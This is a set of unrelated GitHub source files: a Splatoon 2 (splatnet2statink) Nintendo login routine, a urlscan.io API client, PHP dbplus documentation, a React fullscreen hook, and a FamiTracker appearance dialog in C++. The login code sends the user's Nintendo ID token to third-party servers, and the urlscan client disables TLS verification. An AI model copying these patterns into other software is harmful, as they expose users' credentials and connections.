body = {}
try:
idToken = id_response["access_token"]
flapg_nso = call_flapg_api(idToken, guid, timestamp, "nso")
parameter = {
'f': flapg_nso["f"],
'naIdToken': flapg_nso["p1"],
'timestamp': flapg_nso["p2"],
'requestId': flapg_nso["p3"],
'naCountry': user_info["country"],
'naBirthday': user_info["birthday"],
'language': user_info["language"]
}
except SystemExit:
sys.exit(1)
except:
print("Error(s) from Nintendo:")
print(json.dumps(id_response, indent=2))
print(json.dumps(user_info, indent=2))
sys.exit(1)
body["parameter"] = parameter
url = "https://api-lp1.znc.srv.nintendo.net/v1/Account/Login"
r = requests.post(url, headers=app_head, json=body)
splatoon_token = json.loads(r.text)
try:
idToken = splatoon_token["result"]["webApiServerCredential"]["accessToken"]
flapg_app = call_flapg_api(idToken, guid, timestamp, "app")
except:
print("Error from Nintendo (in Account/Login step):")
print(json.dumps(splatoon_token, indent=2))
sys.exit(1)
# get splatoon access token
try:
app_head = {
'Host': 'api-lp1.znc.srv.nintendo.net',
'User-Agent': 'com.nintendo.znca/1.9.0 (Android/7.1.2)',
'Accept': 'application/json',
'X-ProductVersion': '1.9.0',
'Content-Type': 'application/json; charset=utf-8',
'Connection': 'Keep-Alive',
'Authorization': 'Bearer {}'.format(splatoon_token["result"]["webApiServerCredential"]["accessToken"]),
'Content-Length': '37',
'X-Platform': 'Android',
'Accept-Encoding': 'gzip'
}
except:
print("Error from Nintendo (in Account/Login step):")
print(json.dumps(splatoon_token, indent=2))
sys.exit(1)
body = {}
parameter = {
'id': 5741031244955648,
'f': flapg_app["f"],
'registrationToken': flapg_app["p1"],
'timestamp': flapg_app["p2"],
'requestId': flapg_app["p3"]
}
body["parameter"] = parameter
url = "https://api-lp1.znc.srv.nintendo.net/v2/Game/GetWebServiceToken"
r = requests.post(url, headers=app_head, json=body)
splatoon_access_token = json.loads(r.text)
# get cookie
try:
app_head = {
'Host': 'app.splatoon2.nintendo.net',
'X-IsAppAnalyticsOptedIn': 'false',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Encoding': 'gzip,deflate',
'X-GameWebToken': splatoon_access_token["result"]["accessToken"],
'Accept-Language': userLang,
'X-IsAnalyticsOptedIn': 'false',
'Connection': 'keep-alive',
'DNT': '0',
'User-Agent': 'Mozilla/5.0 (Linux; Android 7.1.2; Pixel Build/NJH47D; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/59.0.3071.125 Mobile Safari/537.36',
'X-Requested-With': 'com.nintendo.znca'
}
except:
print("Error from Nintendo (in Game/GetWebServiceToken step):")
print(json.dumps(splatoon_access_token, indent=2))
sys.exit(1)
url = "https://app.splatoon2.nintendo.net/?lang={}".format(userLang)
r = requests.get(url, headers=app_head)
return nickname, r.cookies["iksm_session"]
def get_hash_from_s2s_api(id_token, timestamp):
'''Passes an id_token and timestamp to the s2s API and fetches the resultant hash from the response.'''
# check to make sure we're allowed to contact the API. stop spamming my web server pls
config_file = open(config_path, "r")
config_data = json.load(config_file)
config_file.close()
try:
num_errors = config_data["api_errors"]
except:
num_errors = 0
if num_errors >= 5:
print("Too many errors received from the splatnet2statink API. Further requests have been blocked until the \"api_errors\" line is manually removed from config.txt. If this issue persists, please contact @frozenpandaman on Twitter/GitHub for assistance.")
sys.exit(1)
# proceed normally
try:
api_app_head = { 'User-Agent': "splatnet2statink/{}".format(version) }
api_body = { 'naIdToken': id_token, 'timestamp': timestamp }
api_response = requests.post("https://elifessler.com/s2s/api/gen2", headers=api_app_head, data=api_body)
return json.loads(api_response.text)["hash"]
except:
print("Error from the splatnet2statink API:\n{}".format(json.dumps(json.loads(api_response.text), indent=2)))
# add 1 to api_errors in config
config_file = open(config_path, "r")
config_data = json.load(config_file)
config_file.close()
try:
num_errors = config_data["api_errors"]
except:
num_errors = 0
num_errors += 1
config_data["api_errors"] = num_errors
config_file = open(config_path, "w") # from write_config()
config_file.seek(0)
config_file.write(json.dumps(config_data, indent=4, sort_keys=True, separators=(',', ': ')))
config_file.close()
sys.exit(1)
def call_flapg_api(id_token, guid, timestamp, type):
'''Passes in headers to the flapg API (Android emulator) and fetches the response.'''
try:
api_app_head = {
'x-token': id_token,
'x-time': str(timestamp),
'x-guid': guid,
'x-hash': get_hash_from_s2s_api(id_token, timestamp),
'x-ver': '3',
'x-iid': type
}
api_response = requests.get("https://flapg.com/ika2/api/login?public", headers=api_app_head)
f = json.loads(api_response.text)["result"]
return f
except:
try: # if api_response never gets set
if api_response.text:
print(u"Error from the flapg API:\n{}".format(json.dumps(json.loads(api_response.text), indent=2, ensure_ascii=False)))
elif api_response.status_code == requests.codes.not_found:
print("Error from the flapg API: Error 404 (offline or incorrect headers).")
else:
print("Error from the flapg API: Error {}.".format(api_response.status_code))
except:
pass
sys.exit(1)
def enter_cookie():
'''Prompts the user to enter their iksm_session cookie'''
new_cookie = input("Go to the page below to find instructions to obtain your iksm_session cookie:\nhttps://github.com/frozenpandaman/splatnet2statink/wiki/mitmproxy-instructions\nEnter it here: ")
while len(new_cookie) != 40:
new_cookie = input("Cookie is invalid. Please enter it again.\nCookie: ")
return new_cookie
| {
"pile_set_name": "Github"
} |
import requests
import json
import time
class UrlscanException(Exception):
pass
class Urlscan:
def __init__(self, query=""):
assert len(query) > 0, "Qeury must be defined"
self.query = query
def search(self):
payload = {"q": self.query}
r = requests.get("https://urlscan.io/api/v1/search/", params=payload)
if r.status_code == 200:
return r.json()
else:
raise UrlscanException("urlscan.io returns %s" % r.status_code)
def scan(self, api_key):
headers = {
"Content-Type": "application/json",
"API-Key": api_key,
}
data = '{"url": %s, "public": "on"}' % self.query
r = requests.post(
"https://urlscan.io/api/v1/scan/", headers=headers, data=data, verify=False
)
if r.status_code == 200:
submission_url = r.json()["api"]
finished = False
tries = 0
while tries <= 15:
submission_req = requests.get(submission_url)
if submission_req.status_code == 200:
return submission_req.json()
tries += 1
time.sleep(20)
raise UrlscanException(
"urlscan.io returns {0} and data was {1} on url {2}".format(
submission_req.status_code, data, submission_url
)
)
else:
raise UrlscanException(
"urlscan.io returns {0} and data was {1}".format(r.status_code, data)
)
| {
"pile_set_name": "Github"
} |
var convert = require('./convert');
module.exports = convert(require('../math'));
| {
"pile_set_name": "Github"
} |
*dbplus_add* -- Add a tuple to a relation
int dbplus_add(resource relation, array tuple)~
Adds a tuple to a {relation}.
{relation}
{tuple} An array of attribute/value pairs to be inserted into the given
{relation}.
After successful execution this array will contain the complete data of the
newly created tuple, including all implicitly set domain fields like
sequences.
The function will return DBPLUS_ERR_NOERR on success or a db++ error code on
failure.
This function is EXPERIMENTAL. The behaviour of this function, its name, and
surrounding documentation may change without notice in a future release of
PHP. This function should be used at your own risk.
|dbplus_errcode|
vim:ft=help:
| {
"pile_set_name": "Github"
} |
import { useState } from "react";
type EventCallback = (this: Document, ev: any) => any;
interface NormalizedFullscreenApi {
requestFullscreen: string;
exitFullscreen: string;
fullscreenElement: string;
fullscreenEnabled: string;
fullscreenchange: string;
fullscreenerror: string;
}
const getBrowserFunctions = (): NormalizedFullscreenApi => {
const fnMap = [
[
"requestFullscreen",
"exitFullscreen",
"fullscreenElement",
"fullscreenEnabled",
"fullscreenchange",
"fullscreenerror"
],
// New WebKit
[
"webkitRequestFullscreen",
"webkitExitFullscreen",
"webkitFullscreenElement",
"webkitFullscreenEnabled",
"webkitfullscreenchange",
"webkitfullscreenerror"
],
// Old WebKit
[
"webkitRequestFullScreen",
"webkitCancelFullScreen",
"webkitCurrentFullScreenElement",
"webkitCancelFullScreen",
"webkitfullscreenchange",
"webkitfullscreenerror"
],
[
"mozRequestFullScreen",
"mozCancelFullScreen",
"mozFullScreenElement",
"mozFullScreenEnabled",
"mozfullscreenchange",
"mozfullscreenerror"
],
[
"msRequestFullscreen",
"msExitFullscreen",
"msFullscreenElement",
"msFullscreenEnabled",
"MSFullscreenChange",
"MSFullscreenError"
]
];
const ret = {} as NormalizedFullscreenApi;
fnMap.forEach(fnSet => {
if (fnSet && fnSet[1] in document) {
fnSet.forEach((_fn, i) => {
ret[fnMap[0][i]] = fnSet[i];
});
}
});
return ret;
};
type FullscreenApi = {
isEnabled: boolean,
toggle: (element?: HTMLElement) => Promise<unknown>, // toggle
onChange: (callback: EventCallback) => void, // onchange
onError: (callback: EventCallback) => void, // onerror
request: (element?: HTMLElement) => Promise<unknown>, // request
exit: () => Promise<unknown>, // exit
isFullscreen: boolean, // isFullscreen
element: HTMLElement
}
export const useFullscreen = (): FullscreenApi => {
const fn = getBrowserFunctions();
const [isFullscreen, setIsFullscreen] = useState(
Boolean(document[fn.fullscreenElement])
);
const [element, setElement] = useState(document[fn.fullscreenElement]);
const eventNameMap = {
change: fn.fullscreenchange,
error: fn.fullscreenerror
};
const request = (element?: HTMLElement) =>
new Promise((resolve, reject) => {
const onFullScreenEntered = () => {
setIsFullscreen(true);
off("change", onFullScreenEntered);
resolve();
};
on("change", onFullScreenEntered);
element = element || document.documentElement;
setElement(element);
Promise.resolve(element[fn.requestFullscreen]()).catch(reject);
});
const on = (event: string, callback: EventCallback) => {
const eventName = eventNameMap[event];
if (eventName) {
document.addEventListener(eventName, callback, false);
}
};
const off = (event: string, callback: EventCallback) => {
const eventName = eventNameMap[event];
if (eventName) {
document.removeEventListener(eventName, callback, false);
}
};
const exit = () =>
new Promise((resolve, reject) => {
if (!Boolean(document[fn.fullscreenElement])) {
resolve();
return;
}
const onFullScreenExit = () => {
setIsFullscreen(false);
off("change", onFullScreenExit);
resolve();
};
on("change", onFullScreenExit);
setElement(null);
Promise.resolve(document[fn.exitFullscreen]()).catch(reject);
});
const toggle = (element?: HTMLElement) =>
Boolean(document[fn.fullscreenElement]) ? exit() : request(element);
return {
isEnabled: Boolean(document[fn.fullscreenEnabled]),
toggle,
onChange: (callback: EventCallback) => {
on("change", callback);
},
onError: (callback: EventCallback) => {
on("error", callback);
},
request,
exit,
isFullscreen,
element
}
// return [
// Boolean(document[fn.fullscreenEnabled]),
// toggle,
// (callback: EventCallback) => {
// on("change", callback);
// }, // onchange
// (callback: EventCallback) => {
// on("error", callback);
// }, // onerror
// request,
// exit,
// isFullscreen,
// element
// ];
};
| {
"pile_set_name": "Github"
} |
/*
** FamiTracker - NES/Famicom sound tracker
** Copyright (C) 2005-2014 Jonathan Liss
**
** 0CC-FamiTracker is (C) 2014-2018 HertzDevil
**
** This program is free software; you can redistribute it and/or modify
** it under the terms of the GNU General Public License as published by
** the Free Software Foundation; either version 2 of the License, or
** (at your option) any later version.
**
** This program is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
** Library General Public License for more details. To obtain a
** copy of the GNU Library General Public License, write to the Free
** Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
**
** Any permitted reproduction of these routines, in whole or in part,
** must bear this legend.
*/
#include "ConfigAppearance.h"
#include "FamiTracker.h"
#include "Settings.h"
#include "ColorScheme.h"
#include "Graphics.h"
#include "Color.h" // // //
#include <fstream>
#include <string>
#include "FileDialogs.h" // // //
#include "NumConv.h" // // //
#include "str_conv/str_conv.hpp" // // //
const std::string_view CConfigAppearance::COLOR_ITEMS[] = { // // //
"Background",
"Highlighted background",
"Highlighted background 2",
"Pattern text",
"Highlighted pattern text",
"Highlighted pattern text 2",
"Instrument column",
"Volume column",
"Effect number column",
"Selection",
"Cursor",
"Current row (normal mode)", // // //
"Current row (edit mode)",
"Current row (playing)",
};
const char CConfigAppearance::SETTING_SEPARATOR[] = " : "; // // // 050B
const char CConfigAppearance::HEX_PREFIX[] = "0x"; // // // 050B
// Pre-defined color schemes
const COLOR_SCHEME *const CConfigAppearance::COLOR_SCHEMES[] = {
&DEFAULT_COLOR_SCHEME,
&MONOCHROME_COLOR_SCHEME,
&RENOISE_COLOR_SCHEME,
&WHITE_COLOR_SCHEME,
&SATURDAY_COLOR_SCHEME, // // //
};
const int CConfigAppearance::FONT_SIZES[] = {10, 11, 12, 14, 16, 18, 20, 22};
int CALLBACK CConfigAppearance::EnumFontFamExProc(ENUMLOGFONTEXW *lpelfe, NEWTEXTMETRICEXW *lpntme, DWORD FontType, LPARAM lParam)
{
if (lpelfe->elfLogFont.lfCharSet == ANSI_CHARSET && lpelfe->elfFullName[0] != L'@')
reinterpret_cast<CConfigAppearance *>(lParam)->AddFontName((LPCWSTR)&lpelfe->elfFullName);
return 1;
}
// CConfigAppearance dialog
IMPLEMENT_DYNAMIC(CConfigAppearance, CPropertyPage)
CConfigAppearance::CConfigAppearance()
: CPropertyPage(CConfigAppearance::IDD)
{
}
CConfigAppearance::~CConfigAppearance()
{
}
void CConfigAppearance::DoDataExchange(CDataExchange* pDX)
{
CPropertyPage::DoDataExchange(pDX);
}
BEGIN_MESSAGE_MAP(CConfigAppearance, CPropertyPage)
ON_WM_PAINT()
ON_CBN_SELCHANGE(IDC_FONT, OnCbnSelchangeFont)
ON_BN_CLICKED(IDC_PICK_COL, OnBnClickedPickCol)
ON_CBN_SELCHANGE(IDC_COL_ITEM, OnCbnSelchangeColItem)
ON_CBN_SELCHANGE(IDC_SCHEME, OnCbnSelchangeScheme)
ON_CBN_SELCHANGE(IDC_FONT_SIZE, OnCbnSelchangeFontSize)
ON_BN_CLICKED(IDC_PATTERNCOLORS, OnBnClickedPatterncolors)
ON_BN_CLICKED(IDC_DISPLAYFLATS, OnBnClickedDisplayFlats)
ON_CBN_EDITCHANGE(IDC_FONT_SIZE, OnCbnEditchangeFontSize)
ON_BN_CLICKED(IDC_BUTTON_APPEARANCE_SAVE, OnBnClickedButtonAppearanceSave)
ON_BN_CLICKED(IDC_BUTTON_APPEARANCE_LOAD, OnBnClickedButtonAppearanceLoad)
END_MESSAGE_MAP()
// CConfigAppearance message handlers
void CConfigAppearance::OnPaint()
{
CPaintDC dc(this); // device context for painting
// Do not call CPropertyPage::OnPaint() for painting messages
CRect Rect, ParentRect;
GetWindowRect(ParentRect);
CWnd *pWnd = GetDlgItem(IDC_COL_PREVIEW);
pWnd->GetWindowRect(Rect);
Rect.top -= ParentRect.top;
Rect.bottom -= ParentRect.top;
Rect.left -= ParentRect.left;
Rect.right -= ParentRect.left;
CBrush BrushColor;
BrushColor.CreateSolidBrush(m_iColors[m_iSelectedItem]);
// Solid color box
CBrush *pOldBrush = dc.SelectObject(&BrushColor);
dc.Rectangle(Rect);
dc.SelectObject(pOldBrush);
// Preview all colors
pWnd = GetDlgItem(IDC_PREVIEW);
pWnd->GetWindowRect(Rect);
Rect.top -= ParentRect.top;
Rect.bottom -= ParentRect.top;// - 16;
Rect.left -= ParentRect.left;
Rect.right -= ParentRect.left;
int WinHeight = Rect.bottom - Rect.top;
CFont Font; // // //
Font.CreateFontW(-m_iFontSize, 0, 0, 0, FW_NORMAL, FALSE, FALSE, 0, ANSI_CHARSET,
OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY, DEFAULT_PITCH | FF_DONTCARE, m_strFont.data());
CFont *OldFont = OldFont = dc.SelectObject(&Font);
// Background
dc.FillSolidRect(Rect, GetColor(COL_BACKGROUND));
dc.SetBkMode(TRANSPARENT);
COLORREF ShadedCol = DIM(GetColor(COL_PATTERN_TEXT), .5);
COLORREF ShadedHiCol = DIM(GetColor(COL_PATTERN_TEXT_HILITE), .5);
int iRowSize = m_iFontSize;
int iRows = (WinHeight - 12) / iRowSize;// 12;
COLORREF CursorCol = GetColor(COL_CURSOR);
COLORREF CursorShadedCol = DIM(CursorCol, .5);
COLORREF BgCol = GetColor(COL_BACKGROUND);
COLORREF HilightBgCol = GetColor(COL_BACKGROUND_HILITE);
COLORREF Hilight2BgCol = GetColor(COL_BACKGROUND_HILITE2);
const auto BAR = [&] (int x, int y) {
dc.FillSolidRect(x + 3, y + (iRowSize / 2) + 1, 10 - 7, 1, ShadedCol);
};
for (int i = 0; i < iRows; ++i) {
int OffsetTop = Rect.top + (i * iRowSize) + 6;
int OffsetLeft = Rect.left + 9;
if (OffsetTop > (Rect.bottom - iRowSize))
break;
if ((i & 3) == 0) {
if ((i & 6) == 0)
GradientBar(dc, Rect.left, OffsetTop, Rect.right - Rect.left, iRowSize, Hilight2BgCol, BgCol); // // //
else
GradientBar(dc, Rect.left, OffsetTop, Rect.right - Rect.left, iRowSize, HilightBgCol, BgCol);
if (i == 0) {
dc.SetTextColor(GetColor(COL_PATTERN_TEXT_HILITE));
GradientBar(dc, Rect.left + 5, OffsetTop, 40, iRowSize, CursorCol, GetColor(COL_BACKGROUND));
dc.Draw3dRect(Rect.left + 5, OffsetTop, 40, iRowSize, CursorCol, CursorShadedCol);
}
else
dc.SetTextColor(ShadedHiCol);
}
else {
dc.SetTextColor(ShadedCol);
}
if (i == 0) {
dc.TextOutW(OffsetLeft, OffsetTop - 2, L"C");
dc.TextOutW(OffsetLeft + 12, OffsetTop - 2, L"-");
dc.TextOutW(OffsetLeft + 24, OffsetTop - 2, L"4");
}
else {
BAR(OffsetLeft, OffsetTop - 2);
BAR(OffsetLeft + 12, OffsetTop - 2);
BAR(OffsetLeft + 24, OffsetTop - 2);
}
if ((i & 3) == 0) {
dc.SetTextColor(ShadedHiCol);
}
else {
dc.SetTextColor(ShadedCol);
}
BAR(OffsetLeft + 40, OffsetTop - 2);
BAR(OffsetLeft + 52, OffsetTop - 2);
BAR(OffsetLeft + 68, OffsetTop - 2);
BAR(OffsetLeft + 84, OffsetTop - 2);
BAR(OffsetLeft + 96, OffsetTop - 2);
BAR(OffsetLeft + 108, OffsetTop - 2);
}
dc.SelectObject(OldFont);
}
BOOL CConfigAppearance::OnInitDialog()
{
CPropertyPage::OnInitDialog();
const CSettings *pSettings = theApp.GetSettings();
m_strFont = pSettings->Appearance.strFont; // // //
CDC *pDC = GetDC();
if (pDC != NULL) {
LOGFONTW LogFont = { }; // // //
LogFont.lfCharSet = ANSI_CHARSET;
EnumFontFamiliesExW(pDC->m_hDC, &LogFont, (FONTENUMPROC)EnumFontFamExProc, (LPARAM)this, 0);
ReleaseDC(pDC);
}
CComboBox *pFontSizeList = static_cast<CComboBox*>(GetDlgItem(IDC_FONT_SIZE));
CComboBox *pItemsBox = static_cast<CComboBox*>(GetDlgItem(IDC_COL_ITEM));
for (int i = 0; i < COLOR_ITEM_COUNT; ++i) {
pItemsBox->AddString(conv::to_wide(COLOR_ITEMS[i]).data());
}
pItemsBox->SelectString(0, conv::to_wide(COLOR_ITEMS[0]).data());
m_iSelectedItem = 0;
m_iColors[COL_BACKGROUND] = pSettings->Appearance.iColBackground;
m_iColors[COL_BACKGROUND_HILITE] = pSettings->Appearance.iColBackgroundHilite;
m_iColors[COL_BACKGROUND_HILITE2] = pSettings->Appearance.iColBackgroundHilite2;
m_iColors[COL_PATTERN_TEXT] = pSettings->Appearance.iColPatternText;
m_iColors[COL_PATTERN_TEXT_HILITE] = pSettings->Appearance.iColPatternTextHilite;
m_iColors[COL_PATTERN_TEXT_HILITE2] = pSettings->Appearance.iColPatternTextHilite2;
m_iColors[COL_PATTERN_INSTRUMENT] = pSettings->Appearance.iColPatternInstrument;
m_iColors[COL_PATTERN_VOLUME] = pSettings->Appearance.iColPatternVolume;
m_iColors[COL_PATTERN_EFF_NUM] = pSettings->Appearance.iColPatternEffect;
m_iColors[COL_SELECTION] = pSettings->Appearance.iColSelection;
m_iColors[COL_CURSOR] = pSettings->Appearance.iColCursor;
m_iColors[COL_CURRENT_ROW_NORMAL] = pSettings->Appearance.iColCurrentRowNormal; // // //
m_iColors[COL_CURRENT_ROW_EDIT] = pSettings->Appearance.iColCurrentRowEdit;
m_iColors[COL_CURRENT_ROW_PLAYING] = pSettings->Appearance.iColCurrentRowPlaying;
m_iFontSize = pSettings->Appearance.iFontSize; // // //
m_bPatternColors = pSettings->Appearance.bPatternColor; // // //
m_bDisplayFlats = pSettings->Appearance.bDisplayFlats; // // //
pItemsBox = static_cast<CComboBox*>(GetDlgItem(IDC_SCHEME));
for (auto *scheme : COLOR_SCHEMES)
pItemsBox->AddString(scheme->NAME);
for (int pt : FONT_SIZES) // // //
pFontSizeList->AddString(conv::to_wide(conv::from_int(pt)).data());
pFontSizeList->SetWindowTextW(conv::to_wide(conv::from_int(m_iFontSize)).data());
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
void CConfigAppearance::AddFontName(std::wstring_view Name) // // //
{
if (Name.size() >= LF_FACESIZE) // // //
return;
CComboBox *pFontList = static_cast<CComboBox*>(GetDlgItem(IDC_FONT));
pFontList->AddString(Name.data());
if (m_strFont == Name)
pFontList->SelectString(0, Name.data());
}
BOOL CConfigAppearance::OnApply()
{
CSettings *pSettings = theApp.GetSettings();
pSettings->Appearance.strFont = m_strFont; // // //
pSettings->Appearance.iFontSize = m_iFontSize; // // //
pSettings->Appearance.bPatternColor = m_bPatternColors; // // //
pSettings->Appearance.bDisplayFlats = m_bDisplayFlats; // // //
pSettings->Appearance.iColBackground = m_iColors[COL_BACKGROUND];
pSettings->Appearance.iColBackgroundHilite = m_iColors[COL_BACKGROUND_HILITE];
pSettings->Appearance.iColBackgroundHilite2 = m_iColors[COL_BACKGROUND_HILITE2];
pSettings->Appearance.iColPatternText = m_iColors[COL_PATTERN_TEXT];
pSettings->Appearance.iColPatternTextHilite = m_iColors[COL_PATTERN_TEXT_HILITE];
pSettings->Appearance.iColPatternTextHilite2 = m_iColors[COL_PATTERN_TEXT_HILITE2];
pSettings->Appearance.iColPatternInstrument = m_iColors[COL_PATTERN_INSTRUMENT];
pSettings->Appearance.iColPatternVolume = m_iColors[COL_PATTERN_VOLUME];
pSettings->Appearance.iColPatternEffect = m_iColors[COL_PATTERN_EFF_NUM];
pSettings->Appearance.iColSelection = m_iColors[COL_SELECTION];
pSettings->Appearance.iColCursor = m_iColors[COL_CURSOR];
pSettings->Appearance.iColCurrentRowNormal = m_iColors[COL_CURRENT_ROW_NORMAL]; // // //
pSettings->Appearance.iColCurrentRowEdit = m_iColors[COL_CURRENT_ROW_EDIT];
pSettings->Appearance.iColCurrentRowPlaying = m_iColors[COL_CURRENT_ROW_PLAYING];
theApp.ReloadColorScheme();
return CPropertyPage::OnApply();
}
void CConfigAppearance::OnCbnSelchangeFont()
{
CComboBox *pFontList = static_cast<CComboBox*>(GetDlgItem(IDC_FONT));
pFontList->GetLBText(pFontList->GetCurSel(), m_strFont.data());
RedrawWindow();
SetModified();
}
BOOL CConfigAppearance::OnSetActive()
{
CheckDlgButton(IDC_PATTERNCOLORS, m_bPatternColors);
CheckDlgButton(IDC_DISPLAYFLATS, m_bDisplayFlats);
return CPropertyPage::OnSetActive();
}
void CConfigAppearance::OnBnClickedPickCol()
{
CColorDialog ColorDialog;
ColorDialog.m_cc.Flags |= CC_FULLOPEN | CC_RGBINIT;
ColorDialog.m_cc.rgbResult = m_iColors[m_iSelectedItem];
ColorDialog.DoModal();
m_iColors[m_iSelectedItem] = ColorDialog.GetColor();
SetModified();
RedrawWindow();
}
void CConfigAppearance::OnCbnSelchangeColItem()
{
CComboBox *List = static_cast<CComboBox*>(GetDlgItem(IDC_COL_ITEM));
m_iSelectedItem = List->GetCurSel();
RedrawWindow();
}
void CConfigAppearance::OnCbnSelchangeScheme()
{
CComboBox *pList = static_cast<CComboBox*>(GetDlgItem(IDC_SCHEME));
SelectColorScheme(COLOR_SCHEMES[pList->GetCurSel()]);
SetModified();
RedrawWindow();
}
void CConfigAppearance::SelectColorScheme(const COLOR_SCHEME *pColorScheme)
{
CComboBox *pFontList = static_cast<CComboBox*>(GetDlgItem(IDC_FONT));
CComboBox *pFontSizeList = static_cast<CComboBox*>(GetDlgItem(IDC_FONT_SIZE));
SetColor(COL_BACKGROUND, pColorScheme->BACKGROUND);
SetColor(COL_BACKGROUND_HILITE, pColorScheme->BACKGROUND_HILITE);
SetColor(COL_BACKGROUND_HILITE2, pColorScheme->BACKGROUND_HILITE2);
SetColor(COL_PATTERN_TEXT, pColorScheme->TEXT_NORMAL);
SetColor(COL_PATTERN_TEXT_HILITE, pColorScheme->TEXT_HILITE);
SetColor(COL_PATTERN_TEXT_HILITE2, pColorScheme->TEXT_HILITE2);
SetColor(COL_PATTERN_INSTRUMENT, pColorScheme->TEXT_INSTRUMENT);
SetColor(COL_PATTERN_VOLUME, pColorScheme->TEXT_VOLUME);
SetColor(COL_PATTERN_EFF_NUM, pColorScheme->TEXT_EFFECT);
SetColor(COL_SELECTION, pColorScheme->SELECTION);
SetColor(COL_CURSOR, pColorScheme->CURSOR);
SetColor(COL_CURRENT_ROW_NORMAL, pColorScheme->ROW_NORMAL); // // //
SetColor(COL_CURRENT_ROW_EDIT, pColorScheme->ROW_EDIT);
SetColor(COL_CURRENT_ROW_PLAYING, pColorScheme->ROW_PLAYING);
m_strFont = pColorScheme->FONT_FACE;
m_iFontSize = pColorScheme->FONT_SIZE;
pFontList->SelectString(0, m_strFont.data());
pFontSizeList->SelectString(0, FormattedW(L"%i", m_iFontSize));
}
void CConfigAppearance::SetColor(int Index, int Color)
{
m_iColors[Index] = Color;
}
int CConfigAppearance::GetColor(int Index) const
{
return m_iColors[Index];
}
void CConfigAppearance::OnCbnSelchangeFontSize()
{
CStringW str;
CComboBox *pFontSizeList = static_cast<CComboBox*>(GetDlgItem(IDC_FONT_SIZE));
pFontSizeList->GetLBText(pFontSizeList->GetCurSel(), str);
if (auto newSize = conv::to_int(str)) {
if (*newSize < 5 || *newSize > 30)
return; // arbitrary
m_iFontSize = *newSize;
RedrawWindow();
SetModified();
}
}
void CConfigAppearance::OnCbnEditchangeFontSize() // // //
{
CStringW str;
CComboBox *pFontSizeList = static_cast<CComboBox*>(GetDlgItem(IDC_FONT_SIZE));
pFontSizeList->GetWindowTextW(str);
if (auto newSize = conv::to_int(str)) {
if (*newSize < 5 || *newSize > 30)
return; // arbitrary
m_iFontSize = *newSize;
RedrawWindow();
SetModified();
}
}
void CConfigAppearance::OnBnClickedPatterncolors()
{
m_bPatternColors = IsDlgButtonChecked(IDC_PATTERNCOLORS) != 0;
SetModified();
}
void CConfigAppearance::OnBnClickedDisplayFlats()
{
m_bDisplayFlats = IsDlgButtonChecked(IDC_DISPLAYFLATS) != 0;
SetModified();
}
void CConfigAppearance::OnBnClickedButtonAppearanceSave() // // // 050B
{
if (auto path = GetSavePath("Theme.txt", "", IDS_FILTER_TXT, L"*.txt"))
ExportSettings(*path);
}
void CConfigAppearance::OnBnClickedButtonAppearanceLoad() // // // 050B
{
if (auto path = GetLoadPath("Theme.txt", "", IDS_FILTER_TXT, L"*.txt")) {
ImportSettings(*path);
static_cast<CComboBox*>(GetDlgItem(IDC_FONT))->SelectString(0, m_strFont.data());
static_cast<CComboBox*>(GetDlgItem(IDC_FONT_SIZE))->SelectString(0, FormattedW(L"%i", m_iFontSize));
RedrawWindow();
SetModified();
}
}
void CConfigAppearance::ExportSettings(const fs::path &Path) const // // // 050B
{
if (auto file = std::fstream {Path, std::ios_base::out}) {
file << "# 0CC-FamiTracker appearance" << std::endl;
for (size_t i = 0; i < std::size(m_iColors); ++i)
file << COLOR_ITEMS[i] << SETTING_SEPARATOR << HEX_PREFIX << conv::from_uint_hex(m_iColors[i], 6) << std::endl;
file << "Pattern colors" << SETTING_SEPARATOR << m_bPatternColors << std::endl;
file << "Flags" << SETTING_SEPARATOR << m_bDisplayFlats << std::endl;
file << "Font" << SETTING_SEPARATOR << conv::to_utf8(m_strFont) << std::endl;
file << "Font size" << SETTING_SEPARATOR << m_iFontSize << std::endl;
}
}
void CConfigAppearance::ImportSettings(const fs::path &Path) // // // 050B
{
std::fstream file {Path, std::ios_base::in};
std::string Line;
while (true) {
std::getline(file, Line);
if (!file) break;
size_t Pos = Line.find(SETTING_SEPARATOR);
if (Pos == std::string::npos)
continue;
auto sv = std::string_view(Line).substr(Pos + std::size(SETTING_SEPARATOR) - 1); // // //
for (size_t i = 0; i < std::size(m_iColors); ++i) {
if (Line.find(COLOR_ITEMS[i]) == std::string::npos)
continue;
size_t n = sv.find(HEX_PREFIX);
if (n == std::string_view::npos)
continue;
if (auto c = conv::to_uint32(sv.substr(n + std::size(HEX_PREFIX) - 1), 16))
m_iColors[i] = *c;
}
if (Line.find("Pattern colors") != std::string::npos) {
if (auto x = conv::to_uint(sv))
m_bPatternColors = (bool)*x;
}
else if (Line.find("Flags") != std::string::npos) {
if (auto x = conv::to_uint(sv))
m_bDisplayFlats = (bool)*x;
}
else if (Line.find("Font size") != std::string::npos) {
if (auto x = conv::to_uint(sv))
m_iFontSize = *x;
}
else if (Line.find("Font") != std::string::npos)
m_strFont = conv::to_wide(sv.data()).data();
}
file.close();
}
| {
"pile_set_name": "Github"
} |
---
-api-id: T:Windows.ApplicationModel.DataTransfer.HtmlFormatHelper
-api-type: winrt class
---
<!-- Class syntax.
public class HtmlFormatHelper
-->
# Windows.ApplicationModel.DataTransfer.HtmlFormatHelper
## -description
Responsible for formatting HTML content that you want to share or add to the Clipboard. Also allows you to get HTML fragments from the content.
## -remarks
For more information on how to use this class, check out [DataPackage.SetHtmlFormat](datapackage_sethtmlformat_1162235403.md). You might also want to look at our topic, [How to share HTML](/previous-versions/windows/apps/hh758310(v=win.10)).
## -examples
[!code-js[HowToReceiveSharedHtml](../windows.applicationmodel.datatransfer.sharetarget/code/ShareTargetBeta/javascript/js/ReceiveSharedHtml.js#SnippetHowToReceiveSharedHtml)]
## -see-also
| {
"pile_set_name": "Github"
} |
/* Generated by RuntimeBrowser
Image: /System/Library/PrivateFrameworks/NewsCore.framework/NewsCore
*/
@interface FCHeadlineClusterOrderingPersonalizedTopical : NSObject <FCHeadlineClusterOrdering>
@property (readonly, copy) NSString *debugDescription;
@property (readonly, copy) NSString *description;
